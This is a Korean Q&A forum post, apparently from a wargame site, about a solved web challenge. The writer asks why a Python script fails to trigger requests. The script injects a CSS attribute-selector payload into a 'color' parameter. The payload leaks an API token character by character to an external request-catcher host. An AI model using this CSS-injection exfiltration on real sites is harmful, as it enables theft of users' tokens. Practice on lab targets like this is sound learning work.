완료됨
get방식으로 요청할때
안녕하세요 문제는 풀었는데 질문있어서 글 작성합니다
일단 API Token을 가져와야한다는걸 파악해서 mypage에서 잘 작동하나 시험할려고 아래 코드를 짜봤습니다.
from requests import get
from tqdm import tqdm
host = "http://host3.dreamhack.games:18582"
strings = "abcdefghijklmnopqrstuvwxyz"
cookie = {'session' : 'eyJ1aWQiOjMsInVzZXJuYW1lIjoiZ3Vlc3QifQ.ZpjuBQ.1kv9vUVX0h68xRqn9hRF3rNrCQY'}
for s in tqdm(strings):
query = "white;} input[id=InputApitoken][value^="+s+"] {background: url(https://gaqsbus.request.dreamhack.games/"+s+")"
r = get(f"{host}/mypage?color={query}", cookies = cookie)
print(s)
그런데 이 payload로 웹상에서 그냥 url에 복붙해서 하면 요청이 잘 들어오는데
파이썬 코드로 위와같이 짜고 돌려보면 요청이 안들어오더라구요....?
혹시 해서 r.text도 확인해봤는데 style태그엔 페이로드가 잘 들어간걸 확인했습니다.
/report로 post요청 보내는 코드를 짜서 해보면 요건또 요청이 잘 들어와서 일단 풀긴 풀었는데
혹시 위 코드 어느 부분에서 잘못된건지 알 수 있을까요?
#web
작성자 정보